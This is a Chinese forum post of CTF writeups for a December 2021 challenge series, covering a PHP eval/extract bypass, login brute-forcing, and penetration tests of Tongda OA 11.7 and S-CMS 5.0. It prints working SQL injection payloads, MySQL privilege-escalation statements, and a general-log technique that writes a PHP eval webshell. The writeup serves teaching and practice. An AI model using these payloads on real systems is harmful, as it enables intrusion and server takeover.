12月份擂台赛writeup(官方+额外方法)

Track-劲夫   ·   发表于 2021-12-28 16:36:13   ·   CTF&WP专版

签到题:一张简单图片

官方解题思路

题目地址:签到题:一张简单图片

访问链接是一张图片,我们把它下载下来

然后用HEX方式打开,在最下面发现有一段HTML实体编码

复制下来放进Burpsuite的decoder模块进行解码,得到key

仙剑奇侠传-翻牌游戏

官方解题思路

题目地址:仙剑奇侠传-翻牌游戏

进入首页是一个小游戏

翻了一下前端文件,在style.css

和main.js中都发现了一段神秘符号

把这两段都copy下来,OMG,这不是JSFUCK吗,直接拼接到一起,然后放到浏览器控制台回车

得到一个文件名testaaaa.php,赶紧访问一下

大致看一下源码,这里的目的应该是要让变量$f10g的值为flag_give_me,然后让他输出$flag,下面来分析一下

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include ("flag.php");
  5. $a = $_SERVER['argv'];
  6. $c = $_POST['abc'];
  7. /*
  8. 这里它需要传参中有CTF_SHOW和CTF_SHOW.COM以及GET传参中不要出现f10g,难点是在CTF_SHOW.COM这里,因为我们直接写CTF_SHOW.COM的话,在后端它的KEY实际上是CTF_SHOW_COM,这里我们只需要把_换成[它的.就不会被转换,即可绕过
  9. 于是我们可以构造出传参来绕过第一层判断
  10. GET不需要传参
  11. POST传参:CTF_SHOW=1&CTF[SHOW.COM=2
  12. */
  13. if (isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) && !isset($_GET['fl0g'])) {
  14. /*
  15. 这里的正则看上去好像很复杂,其实就是过滤了以下字符
  16. \\ / ~ ` ! @ # % ^ * - + = {} " ' , . ; ? flag GLOBALS echo var_dump print
  17. 先往下看
  18. */
  19. if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c) && $c <= 16) {
  20. /*
  21. 现在我们需要有$f10g这个变量并且值为flag_give_me,才能获取到flag,那么我们就要想办法创建这个变量,eval会执行$c中代码,那么通过这里来调用可extract()来进行变量的创建,extract()函数的作用是把数组中key声明为变量,key的值就是变量的值,那么我们只需要在POST中传一个fl10g=flag_give_me然后extract($_POST)就好了
  22. */
  23. eval("$c" . ";");
  24. if ($fl0g === "flag_give_me") {
  25. echo $flag;
  26. }
  27. }
  28. }
  29. ?>

payload

  1. POST传参:CTF_SHOW=1&CTF[SHOW.COM=2&abc=extract($_POST)&fl0g=flag_give_me

点到绿色方块就给flag

官方解题思路

题目地址:点到绿色方块就给flag

我这里使用的按键精灵来编写脚本进行点击的,语句如下,安装包我会放在附件里,还有使用视频

注意:脚本运行的时候,题目的程序要显示在界面上面

  1. //获取屏幕高度
  2. ScreenH = Plugin.GetSysInfo.GetScreenResolutionY()
  3. //获取屏幕宽度
  4. ScreenW = Plugin.GetSysInfo.GetScreenResolutionX()
  5. //循环240次
  6. While 240
  7. 在全屏中寻找绿色方块的左边
  8. FindColor 0, 0, ScreenW, ScreenH, "47B926", intX, intY
  9. //找到了就进行点击
  10. If intX > 0 And intY > 0 Then
  11. MoveTo intX,intY
  12. LeftClick 1
  13. End If
  14. Wend

汇智宏远解题思路

将exe程序下载到本地之后使用od打开

搜索ASCII看到文本字符串这行

往上翻,有一个和C7比较的地方,C7是199,我们需要200,给4011F2下断

运行,然后修改eax寄存器的值为200,也就是C8,然后一路F8运行就行

修改完eax值后,直接点运行,F9也行

或者直接修改寄存器的EAX为200,200就是点击的次数,修改完之后f9运行

Ngc660_Team1解题思路

直接手点,太强了

遵纪守法队解题思路

写python脚本,源码如下,视频演示在附件中

  1. from colorama.win32 import windll
  2. import pyautogui
  3. def get_color(x, y):
  4. gdi32 = windll.gdi32
  5. user32 = windll.user32
  6. hdc = user32.GetDC(None) # 获取颜色值
  7. pixel = gdi32.GetPixel(hdc, x, y) # 提取 RGB 值
  8. r = pixel & 0x0000ff
  9. g = (pixel & 0x00ff00) >> 8
  10. b = pixel >> 16
  11. return [r, g, b]
  12. while True:
  13. if get_color(1600,1000) == [38, 185, 71] :
  14. pyautogui.click(1600,1000)
  15. else:
  16. pyautogui.click(1400, 1000)

送分题:一个登录框

官方解题思路

题目地址:送分题:一个登录框
这关聂风老师有给提示,账号是admin,密码是70W-80W之间,并且登录成功和失败包大小是一样的

直接抓包放到Intruder模块,设置好枚举范围

设置payload,如图,这里提一句,如果我们刚开始只知道是6位数想从000000开始跑就可以安装图片中那样,设置下面那四个框,前两个框是设置整数的最大位数和最小位数,后面两个是小数部分的

点击打开过滤器

配置过滤规则,我这里勾上了正则,匹配flag或者key两个关键字

成功找到flag

通达OA渗透测试

官方解题思路

题目地址:通达OA渗透测试

进入题目界面,账号为admin,密码为空直接登录,登陆进去,通过其中的一些自带页面,确定当前版本为11.7

该版本后台存在sql注入并且能getshell,这里我们可以下载源码文件在本地搭建分析,注入点出现在general/hr/manage/query/delete_cascade.php目录
这里判断了$condition_cascade是否为空,然后去执行了一个str_replace的函数,实际效果就是把$condition_cascade中的\’替换成’
这里其实是注册时考虑了安全问题,把用户输入的字符用addslashes进行了保护会把单引号加上\

往下分析,后面有个exequery函数我们暂时不知道是做什么的,这里看不懂没关系我们直接往下看看这个函数的用法,发现后面这里exequery后面拼接的是我们语句,这里我们就不需要管它前面是什么,只需要知道,我们的$condition_cascade经过处理之后会最终被当做sql语句进行执行,那就意味着我们能为所欲为的构造sql语句了吗?

并不是,尝试过发现这里其实是有过滤的

这里直接构造语句往里面添加用户
?condition_cascade=grant all privileges ON mysql.* TO 'test1'@'%' identified by 'test1' with grant option
(grant all privileges on 库名.表名 to ‘用户名’@’IP地址’ identified by ‘密码’ with grant option;)

添加完之后我们这里可以尝试登录,找到adminer,输入我们刚刚添加的用户和密码(这里值得注意的是通达OA数据库的默认端口不是3306,而是3336,连接的时候不要填错)

添加成功之后我们就会给用户相应的权限,这里在数据库中进行对该用户赋予超级权限。

UPDATE mysql.user SET Super_priv ='Y' WHERE User = 'test1';

添加完权限之后需要刷新权限(这里我们刚刚添加的用户没权限刷新,所以需要到前面sql注入的地方尝试刷新
flush privileges;

然后再尝试对他进行写shell,在写shell之前我们还需要知道他的路径,所以我们先利用select @@basedir查看路径

最后就是我们熟知的日志写shell

  1. set global general_log = on;
  2. set global general_log_file = 'C:/MYOA/webroot/1.php';
  3. select '<?php eval($_REQUEST[8]);?>';

拿下!

遵纪守法 & 汇智宏远解题思路

使用 github 上的 exp 一键上传冰蝎 webshell,exp地址

scms渗透测试

官方解题思路


题目地址:scms渗透测试

首先信息搜集一下,发现其admin目录下有version.txt暴露了版本

这里直接网上寻找闪灵cms5.0的漏洞文章,发现一处sql注入

参考文章:http://www.0dayhack.net/index.php/141/

我们这里可以尝试对他进行盲注

这里对我们语句做了很多的限制,这里的空格我们可以用/**/来代替,等于我们可以尝试利用大于或者like去代替,最终经过尝试得出以下语句
(这里值得注意的是,因为过滤的比较严格,不太建议用sqlmap工具去跑,最好是下载相应源码,本地搭建可得知该cms下面有sl_admin表,它下面存有账号和密码)

1-if(ascii(substr((select/**/A_pwd/**/from/**/sl_admin/**/limit/**/1,1),1,1))>1,sleep(5),1)=zzz

通过上面注入得知其中有个账号叫admin,但是密码解不开,它下面另一个账号test可以通过md5解开,于是我们尝试登录进入后台

这里的网站安全,文件管理位置存在漏洞

这里修改完文件之后他会去截取.后面的内容然后去做过滤,我们这里绕过的方式也很简单,直接使用amp.php.
这样$kname则等于空,从而绕过了验证

打赏我,让我更有动力~

Attachment List

按键精灵.zip   File Size:26.263M (Download Count:6)

S-CMSyiyuanjzxt_jb51.rar   File Size:12.047M (Download Count:11)

python脚本演示.zip   File Size:1.242M (Download Count:12)

1 Reply   |  Until 9个月前 | 963 View

Track-劲夫
发表于 9个月前

还有两道题会在明天下午之前补齐

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.